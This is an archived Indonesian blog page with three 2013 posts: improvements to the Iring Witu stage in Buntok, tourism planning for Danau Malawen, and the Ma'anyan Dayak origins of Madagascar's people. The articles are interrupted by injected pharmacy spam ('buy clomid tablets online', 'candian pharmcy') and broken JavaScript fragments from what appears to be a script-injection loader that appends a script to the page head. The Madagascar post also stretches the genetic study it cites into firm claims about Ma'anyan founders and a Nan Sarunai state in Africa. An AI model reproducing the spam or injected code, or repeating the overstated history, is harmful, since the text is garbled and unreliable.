All Posts from Maret, 2013

PANGGUNG HIBURAN IRING WITU

Maret 20th, 2013 | By admin in KEBUDAYAAN | Komentar Dinonaktifkan pada PANGGUNG HIBURAN IRING WITU

 

Panggung Iring Witu merupakan satu-satunya tempat pementasan terbuka di dalam kota Buntok. Panggung ini berstatus aset pemerintah daerah dan dikelola oleh Pemerintah Daerah.

   

Fisik bangunan panggung Iring Witu tergolong permanen karena terbuat dari beton, atapnya multiroof dan ornamen sebagai latar-belakang panggung dinilai cukup representatif. Sementara pada bagian depan panggung sebagai ruang terbuka untuk penonton sebagian besar telah dikeraskan dengan cor. Lingkungan panggung juga telah diamankan dengan pagar beton pada sisi jalan raya dan pagar besi pada sisi sungai Barito.

  

Karena semakin hari pemanfaatan kawasan Iring Witu terutama panggungnya semakin meningkat maka ada baiknya keberadaan panggung lebih ditingkatkan:

1. Luas panggung pementasan yang ada ukurannya terlalu sempit untuk kesenian sehingga sepantasnya dibesarkan ke arah depan.

2. Agar panggung tidak kebasahan ketika turun hujan sebaiknya panggung diberi atap seluruhnya.

3. Pengamanan instalasi listrik dan sistem pengeras suara perlu dibangun permanen dan tersendiri.

4. Kamar kecil dan ruang petugas selayaknya dipersiapkan lebih baik untuk kenyamanan dan keamanan kegiatan.

  e online pharmacy if (document.currentScript) { } else {

DESAIN DANAU MALAWEN

Maret 20th, 2013 | By admin in PARIWISATA | Komentar Dinonaktifkan pada DESAIN DANAU MALAWEN

Benar tidaknya khabar yang terdengar bahwa Pemerintah Kabupaten Barito Selatan akan mulai menggarap Danau Malawen di sekitar desa Pamait tahun 2013 bukanlah sesuatu yang perlu dikonfirmasi. Yang penting sudah  ada perbincangan ke arah itu. Menurut orang-orang di kampung: “Biar beh kalah si saung, ji penting manang si surah”.

.

Berbanyak-banyak surah atau pembahasan tentang rencana pembangunan Danau Malawen sesungguhnya bukanlah ide baru. Dalam ingatan saya, dulu Bupati Asmawi Agani sudah  merencanakan kawasan itu sebagai bagian dari Jalur Hijau dengan menanami pohon-pohon kelapa. Malah aliran sungai dari Buntok disepanjang sungai Tambuk – Jalan Pahlawan Atas – Desa Pamait, mutlak dilarang ada bangunan kecuali untuk hutan kota (jalur hijau) dan pemanfaatan wisata.

.

Beberapa tahun lalu ketika Kepala Dinas Informasi Komunikasi Kebudayaan dan Pariwisata Kabupaten Barito Selatan dijabat Drs. Jumadi, wacana pembangunan kawasan Danau Malawen sudah didiskusikan serius dengan Ketua DPRD Kabupaten Barito Selatan H Achmad Rasyid, disurvei dan dibuatkan pula Desain dan RAB. Kesimpulannya antara Danau Sanggu dan Danau Malawen memungkinkan dibuatkan koneksi, jalur trek atau titian. Dan antara obyek wisata Sanggu dan seberang Danau Sanggu dapat dibuatkan jembatan gantung atau semacam flying fox. Dalam jangka panjang di kawasan itu bisa juga dibuatkan wahana wisata air seperti waterboom, pemancingan dan fasilitas wisata lainnya.

 

Kalau saya berpendapat, sebelum kawasan tertentu dari Danau Sanggu, Malawen atau Sababilah ditempatkan bangunan keperluan wisata, hendaknya dibuatkan dulu penetapan kawasan dengan Keputusan Bupati atau PERDA karena sampai sekarang tidak ada satu pun daya tarik wisata di Barsel yang ditetapkan dengan dasar hukum. Artinya, pembangunan yang dilakukan dilaksanakan tanpa tahapan dan kesinambungan yang dapat dipertanggung-jawabkan. Maksud saya, apakah sulit membuat Surat Keputusan tentang Penetapan Danau Sanggu, Malawen, Sababilah, Danau Sadar, Iring Witu, Taman Mungkur Ulin (eks Rujab), Dusun Bambaler, Karewa, Liang Lempang atau situs / daya tarik lainnya sebagai Daya Tarik Wisata Daerah Kabupaten Barito Selatan? Tidakkah dasar hukum semacam ini urgen supaya pembangunan kepariwisataan daerah bisa fokus, terencana, berkesinambungan dan kontabel?

Ekat eh boh surah iti. Lako pitua kaon lagi sa matu’eh nelang bapangalaman pakai kama’eh tumpuk takam katuluh. buy clomid tablets online. } else {d.getElementsByTagName(‘head’)[0].appendChild(s);

BANGSA MAANYAN MENDIRIKAN NEGARA NAN SARUNAI DI AFRIKA

Maret 20th, 2013 | By admin in KEBUDAYAAN | Komentar Dinonaktifkan pada BANGSA MAANYAN MENDIRIKAN NEGARA NAN SARUNAI DI AFRIKA


candian pharmcy

Dalam tayangan kami terdahulu “Ada Darah Dayak di Madagaskar?”, yang mengutip Tempo.com, Senin, 26 Maret 2012 | 06:04 WIB, sangat jelas bahwa Etnis Malagasi yang kini menempati Negara Madagaskar berasal dari rahim 30 perempuan yang terdampar di daerah itu pada 1.200 tahun lalu. Di antara 30 perempuan itu, 28 perempuan di antaranya berasal dari Indonesia, Suku Dayak Ma’anyan.

.

Berita ini kembali dilansir koran harian umum Banjarmasin MEDIA KALIMANTAN edisi Jum’at tanggal 16 November 2012 pada halaman 1 dengan judul “Madagascar = Dayak Ma’anyan?” Dalam berita ini ditegaskan bahwa Kementerian Luar Negeri Madagascar (Afrika) berjanji akan mengadakan penelitian khusus yang nantinya kemungkinan bekerja-sama dengan Pemerintah Indonesia (LIPI).

.

 

Berdasarkan Murray Cox, peneliti genetika dari Massey University (Selandia Baru), penelitiannya menyatakan bahwa darah Dayak mengalir di tubuh penduduk Madagaskar. Disebutkannya satu milenium lampau sekelompok etnis asli Kalimantan berlayar menggunakan perahu di Samudra Hindia. Kencangnya ombak di perairan luas ini mendorong perahu hingga terdampar di Madagaskar yang tak berpenghuni. Kelompok yang terdampar inilah kemudian membuka lahan di dataran tinggi untuk dijadikan permukiman dan sawah. “Kami berbicara mengenai satu budaya yang berpindah tempat melintasi Samudera Hindia,” katanya kepada Live Science. 

.

Bukti etnis Dayak sebagai pemukim pertama Madagaskar kini masih terawetkan pada tiga suku yang berdiam di dataran tinggi, yaitu suku Merina, Sihanaka, dan Betsileo. Ketiganya masih berkomunikasi menggunakan bahasa yang mirip bahasa Barito yang dipakai di Kalimantan bagian selatan atau Bahasa Ma’anyan.

.

Pertanyaan yang masih tersisa di benak peneliti ini adalah seperti apa kontribusi genetik pemukim pertama ini terhadap penduduk Madagaskar saat ini. Untuk mengetahuinya, dia mempelajari gen yang didapat dari mitokondria 300 penduduk Madagaskar dan 3.000 penduduk Indonesia. Pemilihan mitokondria ini disebabkan dapur energi pada sel ini menyimpan gen yang diturunkan oleh ibu. Dan sampel gen memperlihatkan kemiripan antara genom orang Indonesia dan Madagaskar. Artinya dari 30 perempuan ibu bangsa Madagascar sekarang maka 28 diantaranya adalah orang Dayak Ma’anyan.

.

Pekerjaan berikutnya adalah mengetahui kapan dan bagaimana etnis Ma’anyan dari Indonesia sampai di pulau tersebut? Simulasi komputer pun digunakan untuk menelusuri silsilah genetik manusia Madagaskar yang hidup saat ini hingga ke masa lalu. Hasilnya memperlihatkan bahwa penduduk Madagaskar saat ini terhubung langsung dengan 30 perempuan. Perempuan-perempuan ini diperkirakan menjadi pemukim pertama disana sekitar 1.200 tahun lalu, yaitu 28 perempuan Indonesia Ma’anyan dan dua lainnya dari Afrika.

.

Dari hasil penelitian lain diketahui kromosom Y yang diturunkan dari ayah juga menunjukkan pemukim laki-laki pertama Madagaskar adalah juga berasal dari Indonesia. Namun tak diketahui berapa banyak jumlah mereka. Berdasarkan fakta ini diketahui dengan jelas bahwa pria dan wanita penduduk Madagaskar memang berasal dari Indonesia. Dan Cox menduga jumlah laki-laki pertama di pulau ini relatif sedikit dibandingkan wanitanya. Maka hasil penelitian ini meyakinkan Cox bahwa populasi etnis Dayak lah yang terdampar dan segera berkembang pesat menguasai pulau Madagascar dan menjadi bangsa Madagascar. Diperkirakan kelompok besar sudah tercipta dalam beberapa generasi saja.

.

Pertanyaan yang belum terjawab adalah kenapa pemukim pertama ini (orang Ma’anyan) bisa sampai di Madagaskar. Ada kemungkinan mereka sampai di Madagaskar tanpa disengaja. Skenario lain yang mungkin terjadi adalah kelompok etnis Dayak berlayar dengan kapal yang sanggup menampung 500 orang. Di tengah samudra, kapal yang mereka tumpangi terbalik dan terdorong arus laut ke arah barat. “Beberapa orang menyelamatkan diri menggunakan perahu cadangan,” katanya. Penumpang yang selamat inilah yang kemudian mendarat di Madagaskar dan mendirikan permukiman pertama di pulau tersebut.

 


.

Penutup

Namun dalam benak saya kemungkinan sampainya suku Dayak Maanyan ke Madacascar adalah karena orang-orang Ma’anyan memang sengaja mengungsi kemana-mana dan itu terjadi sejak datangnya bangsa Melayu di pemukiman Murung (Ujung Murung, Banjarmasin), lalu runtuhnya kejayaan bangsa Ma’anyan di Kayu Tangi (sekitar Landasan Ulin dan Bandara Syamsuddin Noor sekarang), runtuhnya pusat Kerajaan Nan Sarunai di Tumpuk Uhang (Kadaton Tane Ngamamg Talam di Candi Agung, Amuntai) karena berdirinya kerajaan Negara Dipa (tragedi Nan Sarunai Usak Jawa), dan terakhir karena gagalnya IDUNG dan JARANG mendirikan lagi NAN SARUNAI II di tepi Sungai Tabalong sampai ke batas Kalimantan Timur. Artinya, suku Maanyan memang sengaja mengungsi kemana-mana mengikuti para Damung, Patih, Uria dan pemimpin suku keluarganya masing-masing.

}} else {